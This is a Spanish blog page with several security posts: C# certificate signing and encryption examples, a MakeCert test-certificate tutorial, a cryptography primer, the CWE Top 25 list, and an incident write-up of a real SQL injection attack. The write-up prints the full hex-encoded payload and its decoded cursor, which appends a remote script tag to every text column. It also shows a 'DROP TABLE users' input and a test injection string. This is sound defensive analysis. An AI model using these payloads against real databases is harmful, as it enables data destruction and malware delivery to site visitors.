ContentInfo objContent = new ContentInfo(Encoding.ASCII.GetBytes("Scientia Soluciones Informáticas, la mejor consultora de desarrollo"));

//Creamos el objeto que representa los datos firmados
SignedCms objSignedData = new SignedCms(objContent);

//Creamos el "firmante"
CmsSigner objSigner = new CmsSigner(objCert);

//Firmamos los datos
objSignedData.ComputeSignature(objSigner);

//Obtenemos el resultado
byte[] bytSigned = objSignedData.Encode();

Debug.Print("Documento con firma: " + Convert.ToBase64String(bytSigned));

Otra opción, dependiendo de la forma en la que se quiere utilizar el resultado, es la de crear la firma solamente, sin el documento:

using System.Security.Cryptography.Pkcs;
using System.Diagnostics;
using System.Text;
...
X509Certificate2 objCert = ... //Acá tenemos que poner el certificado

//Creamos el ContentInfo
ContentInfo objContent = new ContentInfo(Encoding.ASCII.GetBytes("Scientia Soluciones Informáticas, la mejor consultora de desarrollo"));

//Creamos el objeto que representa los datos firmados
SignedCms objSignedData = new SignedCms(objContent, true);

//Creamos el "firmante"
CmsSigner objSigner = new CmsSigner(objCert);

//Firmamos los datos
objSignedData.ComputeSignature(objSigner);

//Obtenemos el resultado
byte[] bytSigned = objSignedData.Encode();

Debug.Print("Firma digital: " + Convert.ToBase64String(bytSigned));

Verificar firma

Obviamente si creamos un documento con una firma digital es porque, tarde o temprano, vamos a querer verificar esta firma. Para realizar esto utilizamos nuevamente la clase SignedCms, la cual posee el método CheckSignature, y en caso de ser un documento firmado (no la firma “suelta”), en la propiedad ContentInfo.Content va a estar el documento sin firma.

A continuación les dejo los dos ejemplos, la verificación de la firma digital:

using System.Security.Cryptography.Pkcs;
using System.Diagnostics;
using System.Text;
...
byte[] bytFirma = ... //Acá tenemos que poner la firma digital calculada en el ejemplo anterior
ContentInfo objContent = new ContentInfo(Encoding.ASCII.GetBytes("Scientia Soluciones Informáticas, la mejor consultora de desarrollo"));

SignedCms objDatos = new SignedCms(objContent, true);

//Deserealizamos la firma
objDatos.Decode(bytFirma);

try
{
//Verificamos si la firma concuerda con los datos
objDatos.CheckSignature(true);
Debug.Print("Ok - La firma concuerda con los datos");
}
catch
{
Debug.Print("Error - La firma no concuerda con los datos");
}

Y el ejemplo de la verificación de la firma y obtención del documento:

using System.Security.Cryptography.Pkcs;
using System.Diagnostics;
using System.Text;
...
byte[] bytDocFirmado = ... //Acá tenemos que poner el documento firmado obtenido en el ejemplo anterior
SignedCms objDatos = new SignedCms();

//Deserializo los bytes PKCS#7
objDatos.Decode(bytDocFirmado);

//Verifico la firma y obtengo el documento
try
{
    objDatos.CheckSignature(true);
    Debug.Print("Ok - La firma concuerda con los datos");
    Debug.Print(Encoding.ASCII.GetString(objDatos.ContentInfo.Content));
}
catch
{
    Debug.Print("Error - La firma no concuerda con los datos");
}

Encriptación y desencriptación utilizando un certificado

Por último voy a mostrar como encriptar y desencriptar documentos utilizando certificados digitales. Para esto, al igual con la firma de documentos, voy a mostrar un ejemplo, que creo es la mejor manera de entenderlo:

using System.Security.Cryptography.Pkcs;
using System.Diagnostics;
using System.Text;
...
X509Certificate2 objCert = ... //Acá tenemos que poner el certificado

//Creamos el ContentInfo
ContentInfo objContent = new ContentInfo(Encoding.ASCII.GetBytes("Scientia Soluciones Informáticas, la mejor consultora de desarrollo"));

//Creamos el objeto que representa los datos firmados
EnvelopedCms objEncryptedData = new EnvelopedCms(objContent);

//Creamos el destino
CmsRecipient objRecipient = new CmsRecipient(objCert);

//Firmamos los datos
objEncryptedData.Encrypt(objRecipient);

//Datos encriptados
byte[] bytResult = objEncryptedData.Encode();

Debug.Pring("Datos encriptados:  " + Convert.ToBase64String(bytResult));

Y ahora voy a mostrar como desencriptar los datos obtenidos en el paso anterior. Para esto previamente tenemos que tener instalado el certificado con el que se encriptaron estos datos, junto con su clave privada, en un repositorio sobre el cual el usuario tenga permisos:

using System.Security.Cryptography.Pkcs;
using System.Diagnostics;
using System.Text;
...
byte[] bytDatos = … //Datos encriptados

EnvelopedCms objEncryptedData = new EnvelopedCms();

//Leemos los datos encriptados
objEncryptedData.Decode(bytDatos);

//Desencriptamos los datos
objEncryptedData.Decrypt();

//Documento original
byte[] bytDoc = objEncryptedData.ContentInfo.Content;

//Mostramos el resultado
Debug.Print("Datos desencriptados: " + Encoding.ASCII.GetString(bytDoc));

Espero que este resumen pueda servirle a cualquier que necesite trabajar con certificados digitales desde .NET.

Artículos relacionados

VN:F [1.7.3_972]
Rating: 8.3/10 (3 votos cast)

Crear certificados de prueba para servidor y cliente

Viernes, 26 jun, 2009 @ 16:12 | Por Gustavo Cantero (The Wolf) | ASP.NET, Certificados Digitales, IIS, Seguridad

Cuando estamos desarrollando una aplicación que utiliza certificados de cliente para autenticar a los usuarios debemos crear certificados de prueba para poder probar la aplicación, pero también se debe crear uno para utilizar con SSL en el Internet Information Server, y otro certificado que utilizaremos como entidad emisora de los certificados anteriores.

Para crear estos certificados de prueba utilizaremos la herramienta MakeCert, la cual crea archivos de certificado con sus pares de claves (pública y privada). Esta herramienta también asocia el par de claves al nombre especificado de una empresa y crea un certificado X.509 que enlaza el nombre especificado por un usuario con la parte pública del par de claves.

Cabe mencionar que esta aplicación, además de crear el archivo con el certificado, lo instala en uno de los repositorios de Windows, los cuales pueden verse, por ejemplo, desde el Internet Explorer, en el menú “herramientas”, “opciones de internet”, “contenido”, “certificados”, lo que abre una ventana como la que se muestra a continuación.

Certificados

Esta es una de las herramientas que se incluyen en el Windows SDK, el cual viene con Visual Studio o puede bajarse de forma independiente de la siguiente dirección: http://msdn.microsoft.com/es-ar/windows/bb980924.aspx.

Como primer paso vamos a crear el certificado de la entidad emisora con los siguientes parámetros:

  • Vamos a llamarlo “Scientia Root Auth” con la opción “-n” utilizando la nomenclatura definida en X.500
  • Lo vamos a guardar en el repositorio personal (opción “-ss my”)
  • Lo vamos a guardar a nivel de máquina (opción “-sr LocalMachine”)
  • Vamos a utilizar el algoritmo SHA-1 para calcular el hash (opción “-a sha1”)
  • Vamos a marcar la clave privada como exportable (opción “-pe”)
  • Lo vamos a utilizar para firmar (opción “-sky signature”)
  • Este certificado va a estar “autofirmado”, o sea, no va a ser creado por otra entidad emisora

Entonces, utilizando los parámetros descriptos en esta lista, el comando a ejecutar queda así:

makecert -pe -n "CN=Scientia Root Auth" -ss my -sr LocalMachine -a sha1 -sky signature -r "ScientiaRootAuth.cer"

Para confiar en este certificado, al ser autofirmado, tenemos que copiarlo al repositorio raíz de entidades de certificación de confianza (Trusted Root Certification Authorities), para lo cual vamos a utilizar otra herramienta que viene en el Windows SDK llamada “Certification Manager” (CertMgr). Esta herramienta puede utilizarse desde su interfaz gráfica o a través de la línea de comandos. Nosotros vamos a utilizarla a través de la línea de comandos para copiar el certificado:

certmgr -add -all -c "ScientiaRootAuth.cer" -s -r LocalMachine Root

Ahora vamos a crear el certificado para utilizar SSL en el Internet Information Server con el protocolo https:

  • Vamos a marcar la clave privada como exportable (opción “-pe”)
  • Vamos a utilizar la nomenclatura definida en X.500 para nombrarlo “localhost” (opción “-n”)
  • Lo vamos a guardar en el repositorio personal (opción “-ss my”)
  • Lo vamos a guardar a nivel de máquina (opción “-sr LocalMachine”)
  • Vamos a utilizar el algoritmo SHA-1 para calcular el hash (opción “-a sha1”)
  • Lo vamos a utilizar para intercambio de identidades (opción “-sky exchange”)
  • Lo vamos a utilizar para autenticar el servidor (opción “-eku 1.3.6.1.5.5.7.3.1”)
  • Vamos a utilizar como entidad emisora el certificado creado en el primer paso (opción “-in “Scientia Root Auth”)
  • La cual está en el repositorio personal (opción “-is my”)
  • A nivel de máquina (opción “-ir LocalMachine”)
  • Establecemos el proveedor del CryptoAPI con la opción “-sp “Microsoft RSA SChannel Cryptographic Provider””
  • Y el tipo de de proveedor CryptoAPI con la opción “-sy 12”

Entonces, utilizando los parámetros descriptos en esta lista, el comando a ejecutar queda así:

makecert -pe -n "CN=localhost" -ss my -sr LocalMachine -a sha1 -sky exchange -eku 1.3.6.1.5.5.7.3.1 -in "Scientia Root Auth" -is my -ir LocalMachine -sp "Microsoft RSA SChannel Cryptographic Provider" -sy 12 localhost.cer

Ahora podemos configurar el Internet Information Server para que utilice este certificado. En este ejemplo vamos a utilizar el IIS versión 5.1, aunque esta tarea puede realizarse con cualquier versión. Desde las propiedades del sitio web, en la solapa “Seguridad de directorios”, vamos a ver una sección llamada “Comunicaciones seguras”.

Propiedades IIS

Ahí vamos a poder pulsar en el botón “Certificado de servidor…” y se nos va a abrir un “wizard” para crear, elegir o importar un certificado. En este ayudante vamos a seleccionar “asignar un certificado existente” y, en el paso siguiente, vamos a elegir el certificado llamado “localhost” (el creado en el paso anterior), luego ingresaremos el puerto que utilizaremos para SSL (por defecto es el 443), y listo, finalizamos el ayudante y ya podemos utilizar https en nuestro IIS.

Ahora, si necesitamos requerir que el usuario ingrese un certificado para autenticarse o para leer los datos del mismo, tenemos que crearlo. Para esto volveremos a utilizar la herramienta MakeCert, pero con algunos parámetros distintos:

  • Vamos a marcar la clave privada como exportable (opción “-pe”)
  • Vamos a utilizar la nomenclatura definida en X.500 para ingresar el nombre del usuario, el país, la empresa, la unidad organizativa y el mail (opción “-n”)
  • Lo vamos a guardar en el repositorio personal (opción “-ss my”)
  • Como es un certificado personal lo vamos a guardar a nivel de usuario (opción “-sr CurrentUser”)
  • Vamos a utilizar el algoritmo SHA-1 para calcular el hash (opción “-a sha1”)
  • Lo vamos a utilizar para intercambio de identidades (opción “-sky exchange”)
  • Lo vamos a utilizar para autenticación del cliente (opción “-eku 1.3.6.1.5.5.7.3.2”)
  • Vamos a utilizar como entidad emisora el certificado creado en el primer paso (opción “-in “Scientia Root Auth”)
  • La cual está en el repositorio personal (opción “-is my”)
  • A nivel de máquina (opción “-ir LocalMachine”)
  • Establecemos el proveedor del CryptoAPI con la opción “-sp “Microsoft RSA SChannel Cryptographic Provider””
  • El tipo de de proveedor CryptoAPI con la opción “-sy 12”
  • Por último le vamos a establecerle 25000000 como número de serie (opción “-# 25000000”)

Ahora juntamos todos estos parámetros y el comando nos queda:

makecert -pe -n "CN=Gustavo Cantero, O=Scientia Soluciones Informaticas, OU=Desarrollo, E=g.cantero@Scientia.com.ar, C=AR" -ss my -sr CurrentUser -a sha1 -sky exchange -eku 1.3.6.1.5.5.7.3.2 -in "Scientia Root Auth" -is Root -ir LocalMachine -sp "Microsoft RSA SChannel Cryptographic Provider" -sy 12 -# 25000000 GustavoCantero.cer

Bien, ahora para que el IIS le pida este certificado al usuario tenemos que habilitar SSL en la carpeta o sitio donde necesitamos el certificado, y establecerle que el usuario puede o debe seleccionar un certificado de cliente para autenticarse. Esto se hace desde la misma solapa “Seguridad de directorios” de las propiedades del sitio (o carpeta del sitio), pero pulsando sobre el botón “Modificar” de la sección “Comunicaciones seguras”, ahí vamos a pulsar sobre “Requerir canal seguro (SSL)” para que sólo pueda utilizarse a través de https, y “Requerir certificados de cliente”, para que el usuario deba seleccionar un certificado.

Comunicaciones seguras


Dependiendo de la versión de IIS y del sistema operativo también vamos a poder vincular los certificados del cliente a usuarios del dominio y otras opciones más avanzadas, las cuales exceden el propósito de este artículo.

Ahora, al acceder al sitio vamos a ver que nos muestra que tenemos un certificado en el cual no confiamos, esto es porque el certificado raíz no está en el repositorio de confianza del Internet Explorer. Para seguir podemos pulsar sobre “Continuar con este sitio”, y luego de esto el navegador va a abrir una ventana para que elijamos un certificado de cliente, y en esa ventana vamos a ver el último certificado que creamos.

Como último paso vamos a leer el certificado y a mostrar la información básica desde una página de ASP.NET con el siguiente código agregado en el evento Load de la página:

HttpClientCertificate objCert = Request.ClientCertificate;
if (objCert.IsPresent)
{
    if (objCert.IsValid)
    {
        System.Security.Cryptography.X509Certificates.X509Certificate2 objCert2 = new System.Security.Cryptography.X509Certificates.X509Certificate2(objCert.Certificate

        Response.Write("Persona = " + objCert.Subject + "<br/>");
        Response.Write("Emisor = " + objCert.Issuer + "<br/>");
        Response.Write("Válido desde = " + objCert.ValidFrom + "<br/>");
        Response.Write("Válido hasta = " + objCert.ValidUntil + "<br/>");
        Response.Write("¿Es válido ? = " + objCert.IsValid + "<br/>");
        Response.Write("Tamaño de la clave = " + objCert.SecretKeySize + "<br/>");
        Response.Write("Nombre del certificado del servidor = " + objCert.ServerSubject + "<br/>");
        Response.Write("Emisor del certificado del servidor = " + objCert.ServerIssuer + "<br/>");
        Response.Write("Número de serie = " + objCert.SerialNumber + " - " + int.Parse(objCert2.SerialNumber, NumberStyles.HexNumber) + "<br/>");
        Response.Write("Hash = " + objCert.CertEncoding + "<br/>");
    }
    else
        Response.Write("El certificado no es válido");
}
else
    Response.Write("No se ha encontrado un certificado");

Por último les dejo un archivo batch para crear los tres certificados en un paso.
En el próximo artículo mostraré algunos usos más avanzados de los certificados desde .NET.

Artículos relacionados

VN:F [1.7.3_972]
Rating: 9.8/10 (13 votos cast)

Conceptos de Certificado Digital y Firma Digital

Lunes, 22 jun, 2009 @ 20:48 | Por Gustavo Cantero (The Wolf) | Certificados Digitales, Seguridad

Hace un par de semanas estuve dictando un curso sobre Certificados Digitales, Firma Digital y su utilización desde .NET, y me pareció interesante escribir algunos artículos sobre el tema para aquellos que necesitan hacer, por ejemplo, autenticación de usuarios a través de certificados de cliente, encriptación de la información a través de SSL, firma digital de documentos, etc.

Antes de comenzar a utilizar algunas herramientas y mostrarles código voy a hacer una breve introducción a algunos conceptos que son importantes que nos queden en claro.

Muy breve resumen de la historia de la criptografía

EnigmaEn la historia desde hace miles de años que el hombre trata de ocultar sus mensajes y escritos de ojos a los cuales no desea mostrar su contenido, y para esto encripta estos textos utilizando, en un principio, métodos sencillos que incluían el uso de lápiz, papel o alguna máquina sencilla. Luego, a principios del siglo XX, comenzó a utilizar máquinas mecánicas y electromecánicas, como la conocida máquina de rotores llamada Enigma, la cual fue utilizada por las fuerzas Alemanas desde 1930, proporcionando métodos de cifrado más complejos y eficientes.

La criptografía moderna comenzó cuando Claude Shannon publicó el artículo Communication Theory of Secrecy Systems en la Bell System Technical Journal en 1949, y poco tiempo después, junto a Warren Weaver, publicaron el libro Mathematical Theory of Communication. Estos documentos, juntos con otros publicados posteriormente, formaron las bases de la teoría de la criptografía, aunque fueron organizaciones gubernamentales secretas (como la NSA) las que siguieron con la investigación. Recién a mediados de los 70 hubieron grandes avances a nivel público: la creación del estándar de cifrado DES (Data Encryption Standard) y la creación de la criptografía asimétrica.

Métodos de cifrado

Los métodos de cifrado de la criptografía moderna se dividen, a gran escala, en dos: cifrado de flujo y cifrado de bloques, y éste último a su vez se divide en cifrado simétrico (con clave secreta) y cifrado asimétrico (con clave pública).

Métodos de cifrado

Cifrado de flujo

Los algoritmos de cifrado de flujo pueden realizar el cifrado incrementalmente, transformando el mensaje original en un mensaje cifrado bit a bit. Esto lo logra construyendo un generador de flujo de clave, el cual es una secuencia de bits de tamaño arbitrario que puede emplearse para oscurecer el contenido del flujo de datos combinando el flujo de clave con el flujo de datos mediante la función XOR. Si el flujo de clave es seguro, el flujo de datos cifrados también lo será.

Este método es utilizado en algunas aplicaciones como el cifrado de conversaciones telefónicas, donde el cifrado en bloques es inapropiado porque los flujos de datos se producen en tiempo real en pequeños fragmentos y las muestras de datos pueden ser muy pequeñas (hasta de 1 bit), y sería un desperdicio rellenar el resto de los bits antes de cifrar el mensaje y transmitirlo.

Cifrado por bloques

En este tipo de cifrado el mensaje se agrupa en bloques, por lo general de 128 bits o más, antes de aplicar el algoritmo de cifrado a cada parte de forma independiente utilizando la misma clave.

Cifrado simétrico

La criptografía simétrica es el método criptográfico que usa una misma clave para cifrar y descifrar los mensajes. Las dos partes que se comunican deben ponerse de acuerdo de antemano sobre la clave a utilizar y, una vez que ambas tienen acceso a esta clave, el remitente cifra el mensaje utilizándola, lo envía al destinatario, y éste lo descifra con la misma clave.

Existen algunos algoritmos muy conocidos, como el DES (Data Encryption Standard), el cual fue un diseño de unidad de cifrado por bloques de gran influencia desarrollado por IBM y publicado como estándar en 1977.

Cifrado asimétrico

El cifrado asimétrico es el método criptográfico que usa un par de claves para el envío de mensajes. Una de estas claves es pública y se puede entregar a cualquier persona, la otra clave es privada y el propietario debe guardarla de modo que nadie tenga acceso a ella. Los métodos criptográficos garantizan que ese par de claves sólo se puede generar una vez, de modo que se puede asumir que no es posible que dos personas hayan obtenido casualmente el mismo par de claves.

Si el remitente usa la clave pública del destinatario para cifrar el mensaje, una vez cifrado, sólo la clave privada del destinatario podrá descifrar este mensaje, ya que es el único que la posee. Por lo tanto se logra la confidencialidad del envío del mensaje, nadie salvo el destinatario puede descifrarlo, ni siquiera la misma persona que generó el mensaje.

Si el propietario del par de claves utiliza su clave privada para cifrar el mensaje, cualquiera que posea su clave pública podrá descifrarlo. En este caso se consigue tanto la identificación como la autenticación del remitente, ya que se sabe que sólo pudo haber sido él quien utilizó su clave privada (salvo alguien se la hubiese podido robar). Esta idea es el fundamento de la firma electrónica, de la cual hablamos más abajo.

Los sistemas de cifrado de clave pública o sistemas de cifrado asimétricos se crearon con el fin de evitar el problema del intercambio de claves que posee el sistema de cifrado simétrico. Con las claves públicas no es necesario que el remitente y el destinatario se pongan de acuerdo en la clave a emplear. Todo lo que se requiere es que, antes de iniciar la comunicación secreta, el remitente consiga una copia de la clave pública del destinatario. Es más, esa misma clave pública puede ser usada por cualquiera que desee comunicarse con su propietario.

Cabe mencionar que aunque una persona lograra obtener la clave pública, no podría descifrar el mensaje encriptado con esta misma clave, sólo podría encriptar mensajes que podrían ser leídos por el propietario de la clave privada.

Cifrado asimétrico

VN:F [1.7.3_972]
Rating: 9.7/10 (7 votos cast)

Los 25 errores de programación más peligrosos

Miércoles, 14 ene, 2009 @ 11:33 | Por Gustavo Cantero (The Wolf) | Seguridad

Al ver que la mayoría de los agujeros de seguridad en el software es producido por errores de programación que podrian ser evitados si fuesemos más cautelosos, un grupo internacional de expertos crearon una lista con los 25 errores de programación más peligrosos.  Para crear esta lista trabajó gente de empresas tales como Microsoft, CERT, Oracle Corporation, Tata Consultancy Services, RSA, Red Hat Inc. y varias más. 

A continuación detallo una lista (en inglés) con estos errores:

  • Improper Input Validation
  • Improper Encoding or Escaping of Output
  • Failure to Preserve SQL Query Structure (aka ‘SQL Injection’)
  • Failure to Preserve Web Page Structure (aka ‘Cross-site Scripting’)
  • Failure to Preserve OS Command Structure (aka ‘OS Command Injection’)
  • Cleartext Transmission of Sensitive Information
  • Cross-Site Request Forgery (CSRF)
  • Race Condition
  • Error Message Information Leak
  • Failure to Constrain Operations within the Bounds of a Memory Buffer
  • External Control of Critical State Data
  • External Control of File Name or Path
  • Untrusted Search Path
  • Failure to Control Generation of Code (aka ‘Code Injection’)
  • Download of Code Without Integrity Check
  • Improper Resource Shutdown or Release
  • Improper Initialization
  • Incorrect Calculation
  • Improper Access Control (Authorization)
  • Use of a Broken or Risky Cryptographic Algorithm
  • Hard-Coded Password
  • Insecure Permission Assignment for Critical Resource
  • Use of Insufficiently Random Values
  • Execution with Unnecessary Privileges
  • Client-Side Enforcement of Server-Side Security

Las páginas donde están publicados estos errores (que se actualizarán regularmente) junto con su detalle son www.sans.org/top25errors y cwe.mitre.org/top25, y en las mismas también hay enlaces a recursos para ayudar a eliminarlos.

VN:F [1.7.3_972]
Rating: 9.5/10 (2 votos cast)

SQL Injection 100% real

Jueves, 10 jul, 2008 @ 15:06 | Por Dario Krapp | Seguridad

Hace unos días un cliente nos reportó comportamientos extraños en su aplicación, la aplicación en cuestión estaba desarrollada en una tecnología ya en desuso hoy en día (ASP con ODBC), incluso en ocasiones le habíamos propuesto migrar la solución a una tecnología más moderna y adecuada que permitiese una mayor velocidad de ejecución, una mejor experiencia de usuario y un mantenimiento más eficiente (ASP.NET 3.5, AJAX, Silverlight). Pero la aplicación en cuestión, además de haberse quedado unos cuantos años en el tiempo, poseía un serio defecto de programación, quizás cuando fue desarrollada no eran muy comunes los ataques de SQL Injection y quizás fue también un milagro que hasta ese momento la aplicación no haya sido atacada, pero la situación había cambiado ese día, la aplicación que armaba cadenas de texto SQL concatenando sentencias, campos y datos enviados por el usuario de la forma más inocente estaba siendo atacada. Esta forma de ataque por SQL Injection nos pareció talentosa (lamentablemente a veces el talento se usa con fines dañinos) y fuera de lo que ya conocíamos, por eso decidimos comentarla en nuestro blog.  

Empecemos por el principio, que es la forma más clara de empezar.
SQL Injection es una vulnerabilidad de programación que le brinda a un usuario de una aplicación la posibilidad de inyectar sentencias SQL en la base de datos que la aplicación emplea como soporte de datos, para que un ataque por SQL injection sea posible es necesario que el programador arme sentencias SQL concatenadas con datos que le llegan del usuario.

Un caso bien simple y conocido es el del login, por ejemplo, una función que autentica al usuario con la siguiente sentencia:

string strLoginSnt =  "SELECT id, email, password FROM table WHERE email = '" + strUserEmail  + "'"

Donde la variable strUserEmail que es un dato brindado por el usuario es una puerta de entrada para un ataque por SQL Injection, ya que si el usuario ingresa el valor :

 x'; DROP TABLE users; --

donde el programador inocente esperaba por ejemplo un:

usuario@scientia.com.ar

que le permitiese armar la sentencia SQL

SELECT id, email, password FROM table WHERE email = 'usuario@scientia.com.ar'

la misma se termina transformando en:

SELECT id, email, password FROM table WHERE email = 'x'; DROP TABLE users; --'

el usuario se las ha ingeniado para inyectar un DROP TABLE users en nuestra sentencia, claro está que para eso debe conocer el nombre de las tablas y para otros casos el nombre de los campos de dichas tablas, pero eso no es un impedimento ya que con tiempo, paciencia y un mínimo poder de deducción terminará descubriendo los nombres de las tablas y sus campos. Cabe comentar en este punto que a veces los programadores suelen darle una gran ayuda a que el usuario dañino pueda encontrar esta información, es ilógicamente increíble la cantidad de veces que las aplicaciones dan información detallada de la estructura de su base dade datos cuando el usuario provoca un error en el ingreso de datos, es posible que éstas técnicas sean partes del arsenal utilizado para conocer el nombre de tablas y campos de la base de datos y de esa forma llegar a armar una sentencia SQL Injection válida. Todos estos puntos ya son conocidos desde hace algún tiempo y estoy convencido que cada vez son menos los programadores que arman sentencias SQL por concatenación, hoy día ya todos sabemos que las consultas parametrizadas son la solución para este tipo de ataques.

Pero ahora volvamos al caso con el que iniciamos éste blog, una aplicación hecha en tecnología ASP donde los datos ingresados por el usuario, tanto como los pasados por QueryString eran vulnerables a SQL Injection.

Investigando descubrimos que ciertas páginas recibían información por QueryString y que esa información se empleaba para armar sentencias SQL por concatenación, suceptible a ataques por SQL Injection, esa era la puerta de entrada que había encontrado el hacker para atacar al sitio.

Entonces mientras que el servidor estaba esperando algo del tipo:  

/display.asp?IDDisp=23976

alguien le estaba pasando lo siguiente

/display.asp?IDDisp=23976;
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST
(0x4445434C415245204054205641524348415228
323535292C404320564152434841522832353529204445434C415
245205461626C655F437572736F7220435552534F5220464F5220
53454C45435420612E6E616D652C622E6E616D652046524F4D207
379736F626A6563747320612C737973636F6C756D6E7320622057
4845524520612E69643D622E696420414E4420612E78747970653
D27752720414E442028622E78747970653D3939204F5220622E78
747970653D3335204F5220622E78747970653D323331204F52206
22E78747970653D31363729204F50454E205461626C655F437572
736F72204645544348204E4558542046524F4D205461626C655F4
37572736F7220494E544F2040542C4043205748494C4528404046
455443485F5354415455533D302920424547494E2045584543282
7555044415445205B272B40542B275D20534554205B272B40432B
275D3D525452494D28434F4E56455254285641524348415228343
03030292C5B272B40432B275D29292B27273C7363726970742073
72633D687474703A2F2F7777772E2E636F6D2F6E67672E6A733E3
C2F7363726970743E27272729204645544348204E4558542046524
F4D205461626C655F437572736F7220494E544F2040542C4043204
54E4420434C4F5345205461626C655F437572736F72204445414C4
C4F43415445205461626C655F437572736F7220%20AS%20
VARCHAR(4000));EXEC(@S);--

Limpiando un poco lo agregado:

DECLARE @S VARCHAR(4000);
SET @S=CAST(0x4445434C415245204054205641524348415228
323535292C404320564152434841522832353529204445434C415
245205461626C655F437572736F7220435552534F5220464F5220
53454C45435420612E6E616D652C622E6E616D652046524F4D207
379736F626A6563747320612C737973636F6C756D6E7320622057
4845524520612E69643D622E696420414E4420612E78747970653
D27752720414E442028622E78747970653D3939204F5220622E78
747970653D3335204F5220622E78747970653D323331204F52206
22E78747970653D31363729204F50454E205461626C655F437572
736F72204645544348204E4558542046524F4D205461626C655F4
37572736F7220494E544F2040542C4043205748494C4528404046
455443485F5354415455533D302920424547494E2045584543282
7555044415445205B272B40542B275D20534554205B272B40432B
275D3D525452494D28434F4E56455254285641524348415228343
03030292C5B272B40432B275D29292B27273C7363726970742073
72633D687474703A2F2F7777772E2E636F6D2F6E67672E6A733E3
C2F7363726970743E27272729204645544348204E4558542046524
F4D205461626C655F437572736F7220494E544F2040542C4043204
54E4420434C4F5345205461626C655F437572736F72204445414C4
C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));
EXEC(@S);--

ésta sentencia le estaba llegando al motor de base de datos SQL Server un Exec de @S donde @S era:

CAST(0x4445434C41524520405
4205641524348415228323535292C404320564152434841522832
353529204445434C415245205461626C655F437572736F7220435
552534F5220464F522053454C45435420612E6E616D652C622E6E
616D652046524F4D207379736F626A6563747320612C737973636
F6C756D6E73206220574845524520612E69643D622E696420414E
4420612E78747970653D27752720414E442028622E78747970653
D3939204F5220622E78747970653D3335204F5220622E78747970
653D323331204F5220622E78747970653D31363729204F50454E2
05461626C655F437572736F72204645544348204E455854204652
4F4D205461626C655F437572736F7220494E544F2040542C40432
05748494C4528404046455443485F5354415455533D3029204245
47494E20455845432827555044415445205B272B40542B275D205
34554205B272B40432B275D3D525452494D28434F4E5645525428
564152434841522834303030292C5B272B40432B275D29292B272
73C736372697074207372633D687474703A2F2F7777772E2E636F
6D2F6E67672E6A733E3C2F7363726970743E27272729204645544
348204E4558542046524F4D205461626C655F437572736F722049
4E544F2040542C404320454E4420434C4F5345205461626C655F4
37572736F72204445414C4C4F43415445205461626C655F437572
736F7220 AS VARCHAR(4000))

Ejecutando finalmente el CAST, pudimos llegar a lo que el hacker había preparado para nuestro motor de base de datos:

DECLARE @T VARCHAR(255),@C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
 SELECT
  a.name,b.name
 FROM
  sysobjects a,syscolumns b
 WHERE
  a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

OPEN Table_Cursor
 FETCH NEXT FROM Table_Cursor INTO @T,@C
 WHILE(@@FETCH_STATUS=0)
 BEGIN

  EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script
  src=http://www..com/ngg.js></script>''')
  FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor

DEALLOCATE Table_Cursor

La sentencia SQL (casteada a un Image para evitar problemas en el QueryString) buscaba todos los los campos de texto del servidor de base de datos (como puede verse recorre todas las bases de datos, tablas y campos del motor) y les agregaba al final del texto lo siguente:

<script src=http://www..com/ngg.js></script>
(El dominio al que accedía fue eliminado por nosotros)

De ésta esta forma cuando desde una página web se mostraran los datos leídos desde la base de datos, el cliente se estaba bajando un javascript que no sería un ‘hola mundo’ seguramente. Con un caso 100% del mundo real podemos ver cuán dañino puede ser un ataque por SQL Injection. El problema lo solucionamos modificando todas las consultas del sitio para que empleen parámetros y no concatenen más las sentencias, las consultas del tipo:

Dim rs, conn
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "Provider...."
Set rs = Server.CreateObject("ADODB.recordset")
strSQL = "SELECT id, email, password FROM users WHERE email = '" + strEmail + "'"
rs.open strSQL, conn

Fueron reemplazadas por :

Dim cmd, rs, conn
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "Provider...."
Set Cmd = Server.CreateObject("ADODB.Command")
Cmd.ActiveConnection = Conn
Cmd.CommandText = "SELECT id, email, password FROM users WHERE email = ?"
Cmd.CommandType = 1
Cmd.Parameters.Append Cmd.CreateParameter("P1", 200, 1, 100, strEmail)
Set rs = Server.CreateObject(”ADODB.recordset”)
rs.open Cmd

Luego probamos que el sitio haya quedado inmunizado empleando la misma táctica que uso el hacker creamos una tabla de pruebas:

CREATE TABLE [dbo].[dummytest](
    [dummyfield] [nvarchar](50) COLLATE Modern_Spanish_CI_AS NULL
) ON [PRIMARY]

y creamos el siguiente SQL Injection para hacer las pruebas:

;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);
INSERT INTO dummytest (dummyfield) VALUES ('HACKED')

De esta forma pudimos, luego de modificar los querys, probar todo el sitio (que poseía unas cuantas páginas) con esta especie de “vacuna Injection”. Pasando el sitio de ODBC a OleDB (al menos le actualizamos un poco el acceso a datos) e inmunizándolo de ataques por SQL Injection, le dimos al viejo sitio un poco de sangre nueva.

El resumen de todo esto no es solamente la confirmación de que siempre hay que utilizar parámetros en las consultas, sino también el reconocimiento de la habilidades y conocimientos de quienes intentan encontrar vulnerabilidades en las aplicaciones, la idea de que hay que programar en forma responsable y mantenerse actualizado en materia de seguridad, que no es solo un asunto de administradores, hoy día la creatividad en los ataques a sitios hace que la seguridad sea tema de toda el área que interviene en la creación y vida de un proyecto.
Lo único que quedo por saberse es ¿qué contenía el javascript?, cuando intentamos bajarlo para ver de que se trataba, ya no era posible acceder al servidor que lo contenia, el sitio ya no estaba más. pero seguramente ya debe estar en algún otro.

Dario M. Krapp

VN:F [1.7.3_972]
Rating: 8.4/10 (7 votos cast)